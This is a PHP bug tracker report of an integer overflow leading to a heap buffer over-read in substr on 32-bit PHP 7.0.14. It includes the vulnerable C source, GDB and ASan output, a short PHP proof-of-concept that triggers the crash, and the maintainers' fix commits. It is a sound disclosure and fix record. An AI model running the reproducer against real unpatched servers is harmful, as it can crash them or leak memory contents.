php.net |  support |  documentation |  report a bug |  advanced search |  search howto |  statistics |  random bug |  login
Bug #73648 Heap buffer overflow in substr
Submitted: 2016-12-04 03:28 UTC Modified: 2017-01-16 20:12 UTC
From: fernando at null-life dot com Assigned:
Status: Closed Package: Strings related
PHP Version: 7.0.14 OS: Linux 32 bits
Private report: No CVE-ID: None
Welcome back! If you're the original bug submitter, here's where you can edit the bug or add additional notes.
If you forgot your password, you can retrieve your password here.
Password:
Status:
Package:
Bug Type:
Summary:
From: fernando at null-life dot com
New email:
PHP Version: OS:

 

 [2016-12-04 03:28 UTC] fernando at null-life dot com
Description:
------------
When string parameter length and length parameter are big, integer overflow happens inside substr's validations, and next buffer overflow happens in memcpy function.


----------------------------------
Source code:
https://github.com/php/php-src/blob/PHP-7.1/ext/standard/string.c#L2384

PHP_FUNCTION(substr)
{
	zend_string *str;
	zend_long l = 0, f;
	int argc = ZEND_NUM_ARGS();

	ZEND_PARSE_PARAMETERS_START(2, 3)
		Z_PARAM_STR(str)
		Z_PARAM_LONG(f)
		Z_PARAM_OPTIONAL
		Z_PARAM_LONG(l)
	ZEND_PARSE_PARAMETERS_END();

	if (argc > 2) {
		if ((l < 0 && (size_t)(-l) > ZSTR_LEN(str))) {
			RETURN_FALSE;
		} else if (l > (zend_long)ZSTR_LEN(str)) {
			l = ZSTR_LEN(str);
		}
	} else {
		l = ZSTR_LEN(str);
	}

	if (f > (zend_long)ZSTR_LEN(str)) {
		RETURN_FALSE;
	} else if (f < 0 && (size_t)-f > ZSTR_LEN(str)) {
		f = 0;
	}

	if (l < 0 && (l + (zend_long)ZSTR_LEN(str) - f) < 0) {
		RETURN_FALSE;
	}

	/* if "from" position is negative, count start position from the end
	 * of the string
	 */
	if (f < 0) {
		f = (zend_long)ZSTR_LEN(str) + f;
		if (f < 0) {
			f = 0;
		}
	}

	/* if "length" position is negative, set it to the length
	 * needed to stop that many chars from the end of the string
	 */
	if (l < 0) {
		l = ((zend_long)ZSTR_LEN(str) - f) + l;
		if (l < 0) {
			l = 0;
		}
	}

	if ((f + l) > (zend_long)ZSTR_LEN(str)) {
		l = ZSTR_LEN(str) - f;
	}

	RETURN_STRINGL(ZSTR_VAL(str) + f, l);
}



GDB output:

gdb -q --args  /home/user/build2/bin/php -n poc.php
Reading symbols from /home/user/build2/bin/php...done.

(gdb) b 2384
Breakpoint 2 at 0x891e316: file /home/user/build2/php-src/ext/standard/string.c, line 2384.
(gdb) c
Continuing.

Breakpoint 2, zif_substr (execute_data=0xf10140c0, return_value=0xffff9a00) at /home/user/build2/php-src/ext/standard/string.c:2384
2384            if ((f + l) > (zend_long)ZSTR_LEN(str)) {
(gdb) p f
$1 = 2147483646
(gdb) p l
$2 = 33554431
(gdb) p f+l
$3 = -2113929219    // Integer overflow





Test script:
---------------
<?php

ini_set('memory_limit', -1);

$v1=str_repeat("a",0x7FFFFFFF);
$v3=0x1ffffff;
substr($v1, -1, $v3);

Expected result:
----------------
No crash

Actual result:
--------------
ASan output:

==18377==ERROR: AddressSanitizer: heap-buffer-overflow on address 0xef600000 at pc 0xf72caa75 bp 0xffcd4088 sp 0xffcd3c5c
READ of size 33554431 at 0xef600000 thread T0
    #0 0xf72caa74 in __asan_memcpy (/usr/lib/i386-linux-gnu/libasan.so.2+0x8aa74)
    #1 0xf72cac2f in memcpy (/usr/lib/i386-linux-gnu/libasan.so.2+0x8ac2f)
    #2 0x890a78f in zend_string_init /home/user/build2/php-src/Zend/zend_string.h:160
    #3 0x891e3e8 in zif_substr /home/user/build2/php-src/ext/standard/string.c:2388
    #4 0x8cb669e in ZEND_DO_ICALL_SPEC_RETVAL_UNUSED_HANDLER /home/user/build2/php-src/Zend/zend_vm_execute.h:628
    #5 0x8cb4ed1 in execute_ex /home/user/build2/php-src/Zend/zend_vm_execute.h:429
    #6 0x8cb51e4 in zend_execute /home/user/build2/php-src/Zend/zend_vm_execute.h:474
    #7 0x8baf604 in zend_execute_scripts /home/user/build2/php-src/Zend/zend.c:1474
    #8 0x8a47247 in php_execute_script /home/user/build2/php-src/main/main.c:2533
    #9 0x8eaec77 in do_cli /home/user/build2/php-src/sapi/cli/php_cli.c:990
    #10 0x8eb1239 in main /home/user/build2/php-src/sapi/cli/php_cli.c:1378
    #11 0xf69dd636 in __libc_start_main (/lib/i386-linux-gnu/libc.so.6+0x18636)
    #12 0x806f240  (/home/user/build2/bin/php+0x806f240)

0xef600000 is located 2048 bytes to the left of 114688-byte region [0xef600800,0xef61c800)
allocated by thread T0 here:
    #0 0xf72d6dee in malloc (/usr/lib/i386-linux-gnu/libasan.so.2+0x96dee)
    #1 0x8c4cb99 in zend_new_interned_string_int /home/user/build2/php-src/Zend/zend_string.c:166
    #2 0x8bc98a0 in zend_register_functions /home/user/build2/php-src/Zend/zend_API.c:2237
    #3 0x8bcd721 in do_register_internal_class /home/user/build2/php-src/Zend/zend_API.c:2653
    #4 0x8bcda85 in zend_register_internal_class /home/user/build2/php-src/Zend/zend_API.c:2701
    #5 0x87904b2 in spl_register_std_class /home/user/build2/php-src/ext/spl/spl_functions.c:46
    #6 0x8802095 in zm_startup_spl_heap /home/user/build2/php-src/ext/spl/spl_heap.c:1226
    #7 0x878fb35 in zm_startup_spl /home/user/build2/php-src/ext/spl/php_spl.c:899
    #8 0x8bc5b0d in zend_startup_module_ex /home/user/build2/php-src/Zend/zend_API.c:1843
    #9 0x8bc5c21 in zend_startup_module_zval /home/user/build2/php-src/Zend/zend_API.c:1858
    #10 0x8bedff0 in zend_hash_apply /home/user/build2/php-src/Zend/zend_hash.c:1508
    #11 0x8bc6b36 in zend_startup_modules /home/user/build2/php-src/Zend/zend_API.c:1969
    #12 0x8a45dc8 in php_module_startup /home/user/build2/php-src/main/main.c:2256
    #13 0x8eac7c2 in php_cli_startup /home/user/build2/php-src/sapi/cli/php_cli.c:424
    #14 0x8eb10b8 in main /home/user/build2/php-src/sapi/cli/php_cli.c:1345
    #15 0xf69dd636 in __libc_start_main (/lib/i386-linux-gnu/libc.so.6+0x18636)

SUMMARY: AddressSanitizer: heap-buffer-overflow ??:0 __asan_memcpy
...


Patches

Pull Requests

History

AllCommentsChangesGit/SVN commitsRelated reports
 [2017-01-16 20:12 UTC] stas@php.net
-Type: Security +Type: Bug -PHP Version: 7.1.0 +PHP Version: 7.0.14
 [2017-01-16 20:14 UTC] stas@php.net
Automatic comment on behalf of stas
Revision: http://git.php.net/?p=php-src.git;a=commit;h=d1d002fc4dd25a80e20163b18880f40a445276e7
Log: Fix bug #73648 - integer overflow in substr
 [2017-01-16 20:14 UTC] stas@php.net
-Status: Open +Status: Closed
 [2017-06-20 20:29 UTC] stas@php.net
Automatic comment on behalf of stas
Revision: http://git.php.net/?p=php-src.git;a=commit;h=14c422a32fc13284cbbc6a9ae9b65cc6081dda1f
Log: Fix bug #73648 - integer overflow in substr
 [2017-06-21 04:33 UTC] sixd@php.net
Automatic comment on behalf of stas
Revision: http://git.php.net/?p=php-src.git;a=commit;h=14c422a32fc13284cbbc6a9ae9b65cc6081dda1f
Log: Fix bug #73648 - integer overflow in substr
 [2017-06-21 14:53 UTC] ab@php.net
Automatic comment on behalf of stas
Revision: http://git.php.net/?p=php-src.git;a=commit;h=e2021d41f776d832a07112dd32c6a5d27259ac0a
Log: Fix bug #73648 - integer overflow in substr
 
PHP Copyright © 2001-2024 The PHP Group
All rights reserved.
Last updated: Sun Oct 27 16:01:27 2024 UTC